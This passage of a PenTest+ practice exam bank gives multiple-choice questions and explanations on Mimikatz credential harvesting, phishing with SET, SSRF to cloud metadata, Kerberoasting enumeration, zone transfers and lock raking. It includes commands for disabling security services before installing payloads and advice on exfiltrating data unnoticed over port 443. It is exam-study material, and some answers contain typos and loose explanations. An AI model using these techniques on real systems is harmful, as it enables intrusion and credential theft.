Responder.py is a tool that listens for and captures LLMNR, NBT-NS, and MDNS queries on a network, effectively collecting and analyzing network traffic. The -I eth0 flag specifies the network interface and -wP options enable verbose output and WPAD proxy responses. This tool is specifically designed to passively collect network information transmitted over the network for assessment purposes.
Why the other options are wrong:
- A. ntlmrelayx.py is used for NTLM relay attacks, not general network traffic collection.
- B. netcat listening mode does not actively collect protocol-level network information from the subnet.
- D. CrackMapExec is used for active enumeration and exploitation of SMB hosts, not passive traffic collection.
Question 38: Windows Post-Exploitation
During an internal penetration test, a tester compromises a Windows OS-based endpoint and bypasses the defensive mechanism on that system. The tester also discovers the endpoint is part of an Active Directory local domain. The tester's main goal is to leverage credentials to authenticate into other systems within the Active Directory environment. Which of the following steps should the tester take to complete the goal?
- A. Use Mimikatz to collect information about the accounts and try to authenticate in other systems.
- B. Use hasheat to crack a password for the local user on the compromised endpoint.
- C. Use Evil-WinRM to access other systems in the network within the endpoint credentials.
- D. Use Metasploit to create and execute a payload and try to upload the payload into other systems.
Show answer and explanation ▾
Correct answer: A
Mimikatz is a specialized tool designed to extract credentials and authentication tokens from Windows systems, particularly from memory. After compromising an endpoint in an Active Directory environment, Mimikatz is the standard tool to harvest credentials that can then be used for lateral movement and authentication to other systems.
Why the other options are wrong:
- B. Hasheat (or hashcat) is used to crack password hashes offline, but the goal is to leverage existing credentials for authentication, not crack them.
- C. Evil-WinRM is a tool for remote command execution, but it requires credentials first; Mimikatz is needed to obtain them.
- D. Metasploit creates payloads for exploitation and lateral movement but is not the primary tool for credential harvesting in this scenario.
Question 39: Modifying System Services
A penetration tester gains shell access to a Windows host. The tester needs to permanently turn off protections in order to install additional payload. Which of the following commands is most appropriate?
- A. sc config <svc_name> start=disabled
- B. sc query state= all
- C. pskill <pid_svc_name>
- D. net config <svc_name>
Show answer and explanation ▾
Correct answer: A
The 'sc config <svc_name> start=disabled' command is used to permanently disable a Windows service so it no longer starts automatically or runs. This allows an attacker to disable security protections like antivirus or firewall services before installing additional payloads.
Why the other options are wrong:
- B. sc query state=all lists services and their states but does not disable them.
- C. pskill terminates a process but only temporarily; the service can restart, and it doesn't permanently disable protection.
- D. net config is not a valid command for disabling services; net commands are typically for network configuration.
Question 40: Social Engineering Tools
A penetration tester launches an attack against company employees. The tester clones the company's intranet log-in page and sends the link via email to all employees. Which of the following best describes the objective and tool selected by the tester to perform this activity?
- A. Gaining remote access using BeEF
- B. Obtaining the list of email addresses using theHarvester
- C. Harvesting credentials using SET
- D. Launching a phishing campaign using Gophish
Show answer and explanation ▾
Correct answer: C
The SET (Social Engineer Toolkit) is specifically designed to create fake login pages and conduct credential harvesting attacks through phishing. The scenario describes cloning a login page and sending it via email-a textbook SET use case for harvesting credentials. BeEF is for browser exploitation, theHarvester gathers email addresses, and Gophish is a phishing framework (though SET is more accurate for this specific scenario).
Why the other options are wrong:
- A. BeEF is used for browser exploitation post-compromise, not credential harvesting via cloned pages.
- B. theHarvester collects email addresses and metadata, not related to this attack.
- D. While Gophish can conduct phishing, SET is the more specific tool for cloning login pages and harvesting credentials.
Question 41: Documenting Test Results
Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?
- A. Preserving artifacts
- B. Reverting configuration changes
- C. Keeping chain of custody
- D. Exporting credential data
Show answer and explanation ▾
Correct answer: A
Preserving artifacts ensures that all key outputs, findings, evidence, and documentation from the penetration test are retained and not lost during cleanup and restoration activities. This is critical for maintaining the integrity of the assessment results and supporting compliance and follow-up activities.
Why the other options are wrong:
- B. Reverting configuration changes is important for cleanup but doesn't directly preserve test outputs.
- C. Keeping chain of custody relates to evidence handling but is secondary to preserving the actual test artifacts.
- D. Exporting credential data is a security risk and should not be part of post-test activities.
Question 42: Cloud Attack Vectors
A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information: Server-side request forgery vulnerability in test.comptia.org Reflected cross-site scripting vulnerability in test2.comptia.org Publicly accessible storage system named static_comptia_assets SSH port 22 open to the intemet on test3.comptia.org Open redirect vulnerability in test4.comptia.org Which of the following of the attack paths should the tester prioritize first?
- A. Synchronize all the information from the public bucket and scan it with Trufflehog.
- B. Run Pacu to enumerate permissions and roles within the cloud-based systems.
- C. Perform a full dictionary brute-force attack against the open SSH service using Hydra.
- D. Use the reflected cross-site scripting attack within a phishing campaign to attack administrators.
- E. Leverage the SSRF to gain access to credentials from the metadata service.
Show answer and explanation ▾
Correct answer: E
In cloud environments, SSRF (Server-Side Request Forgery) vulnerabilities in test.comptia.org can be exploited to access the cloud metadata service, which typically runs on an internal IP address (like 169.254.169.254 in AWS). The metadata service contains temporary security credentials that grant access to privileged cloud resources. This is the most direct path to accessing privileged systems not directly internet- accessible.
Why the other options are wrong:
- A. Synchronizing public bucket data is useful but doesn't directly lead to privileged system access; Trufflehog scans for secrets but requires having the data first.
- B. Pacu enumeration requires already having some level of cloud access or valid credentials to execute.
- C. Dictionary brute-force against SSH is noisy, slow, and less likely to succeed than exploiting known vulnerabilities.
- D. XSS phishing is indirect and doesn't guarantee access to privileged systems compared to direct SSRF exploitation.
Question 43: Identifying Testable Assets
During a preengagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?
- A. API
- B. HTTP
- C. IPA
- D. ICMP
Show answer and explanation ▾
Correct answer: A
An API (Application Programming Interface) is a specific, testable asset that a penetration tester can target during an assessment. HTTP and ICMP are protocols, not targets themselves. IPA is not a standard IT term in this context. APIs represent discrete, exploitable attack surfaces that should be included in scope definition.
Why the other options are wrong:
- B. HTTP is a protocol used for communication, not a target asset to test.
- C. IPA is not a recognized asset type in penetration testing (possibly India Pale Ale, irrelevant here).
- D. ICMP is a network protocol, not an asset target for testing.
Question 44: Covert Data Exfiltration
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
- A. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply 3DES to the data and send over a tunnel UDP port 53.
- D. Apply AES-256 to the data and send over a tunnel to TCP port 443.
Show answer and explanation ▾
Correct answer: D
To avoid alerting the SOC, data should be encrypted with strong encryption (AES-256) and tunneled over a commonly used, trusted port (443/HTTPS). Port 443 is standard for web traffic and blends in with legitimate network activity. AES-256 provides robust encryption, and HTTPS/443 is harder to detect as malicious compared to other options.
Why the other options are wrong:
- A. Port 25 is SMTP (email) and UTF-8 is encoding, not encryption; this would be suspicious and lacks proper encryption.
- B. Base64 is encoding, not encryption; it provides no security and can be easily decoded; port 80 is unencrypted HTTP.
- C. 3DES is outdated encryption; UDP port 53 is DNS, which would generate suspicious DNS query patterns for data exfiltration.
Question 45: Windows Credential Attacks
During an assessment, a penetration tester runs the following command: setspn.exe -Q */* Which of the following attacks is the penetration tester preparing for?
- A. LDAP injection
- B. Pass-the-hash
- C. Kerberoasting
- D. Dictionary
Show answer and explanation ▾
Correct answer: C
The setspn.exe command with the -Q */* flag queries Active Directory for all service principal names (SPNs). This enumeration step is the direct precursor to Kerberoasting, where attackers identify user accounts with SPNs, request Kerberos tickets for those services, and then crack the encrypted tickets offline to retrieve plaintext passwords. Enumerating SPNs is the essential preparation step for executing a Kerberoasting attack.
Why the other options are wrong:
- A. LDAP injection involves manipulating LDAP queries, not enumerating SPNs.
- B. Pass-the-hash attacks use captured NTLM hashes directly and don't require SPN enumeration.
- D. Dictionary attacks involve brute-forcing passwords, not specifically targeting Kerberos SPNs.
Question 46: Security Assessment Methodology
Which of the following describes the process of determining why a vulnerability scanner is not providing results?
- A. Root cause analysis
- B. Secure distribution
- C. Peer review
- D. Goal reprioritization
Show answer and explanation ▾
Correct answer: A
Root cause analysis is the process of investigating why something failed or is not performing as expected. When a vulnerability scanner is not providing expected results, conducting a root cause analysis investigates the underlying reasons-whether due to scanner misconfiguration, network issues, firewall blocking, insufficient permissions, or other factors. This is the standard methodology for troubleshooting assessment tool problems.
Why the other options are wrong:
- B. Secure distribution refers to safely delivering software or updates, not diagnosing scanner issues.
- C. Peer review is a quality assurance process, not a diagnostic methodology for scanner problems.
- D. Goal reprioritization involves changing assessment priorities, not determining why a tool isn't functioning.
Question 47: Web Application Vulnerabilities
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?
- A. SQL injection
- B. SSRF
- C. XSS
- D. Server-side template injection
Show answer and explanation ▾
Correct answer: C
This is a classic example of XSS (Cross-Site Scripting). The attacker injected JavaScript code into an input field that executes in the browser, resulting in a prompt dialog. XSS occurs when untrusted user input is rendered as executable code in the browser context without proper sanitization.
Why the other options are wrong:
- A. SQL injection involves injecting SQL commands into database queries, not JavaScript execution
- B. SSRF (Server-Side Request Forgery) involves making the server send requests, not client-side JavaScript
- D. Server-side template injection occurs in server-side template engines, not client-side JavaScript execution
Question 48: Physical Security Assessment
A penetration tester attempts unauthorized entry to the company's server room as part of a security assessment. Which of the following is the best technique to manipulate the lock pins and open the door without the original key?
- A. Plug spinner
- B. Bypassing
- C. Decoding
- D. Raking
Show answer and explanation ▾
Correct answer: D
Raking is a lock picking technique where the attacker manipulates the lock pins by rapidly moving a pick back and forth, causing pins to jump and potentially align at the shear line. This is an effective method for quickly opening locks without the original key during physical penetration testing.
Why the other options are wrong:
- A. A plug spinner is used after successful picking to set the lock, not the primary technique for opening
- B. Bypassing refers to circumventing locks entirely rather than picking them
- C. Decoding is not a standard lock opening technique; it relates to analyzing lock mechanics
Question 49: DNS Reconnaissance Techniques
A tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?
- A. dig +short A AAAA local.domain
- B. nslookup local.domain
- C. dig afxr @local.dns.server
- D. nslookup -server local.dns.server local.domain *
Show answer and explanation ▾
Correct answer: C
A zone transfer (AXFR) is the technique used to enumerate all DNS records from a domain. The command 'dig axfr @local.dns.server' requests a full zone transfer from the specified DNS server, which returns all records in the zone. This is the standard method for comprehensive DNS enumeration when permitted.
Why the other options are wrong:
- A. dig +short A AAAA only queries specific record types, not all records in the zone
- B. nslookup without AXFR syntax performs standard lookups, not zone transfers
- D. The wildcard (*) syntax in nslookup is incorrect for zone transfers; AXFR requires proper dig syntax
Question 50: Client-Side Attack Tools
A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?
- A. Browser Exploitation Framework
- B. Maltego
- C. Metasploit
- D. theHarvester
Show answer and explanation ▾
Correct answer: A
The Browser Exploitation Framework (BeEF) is designed to exploit web browsers and conduct client-side attacks, including CSRF exploitation to capture sensitive information from end users through their browsers.
Why the other options are wrong:
- B. Maltego is used for information gathering and data mapping, not for exploiting CSRF vulnerabilities.
- C. Metasploit is primarily for server-side exploitation and payload delivery, not browser- based CSRF attacks.
- D. theHarvester is an OSINT tool for gathering email addresses and subdomains, unrelated to CSRF exploitation.
Get the complete PT0-003 bank
These 50 questions are about 17% of what is on the exam. The full pack has 344 real PT0-003 questions, every MCQ and PBQ, each with the same depth of explanation, plus a questions-only PDF for timed practice and free updates forever.
View the full CompTIA PenTest+ question bank →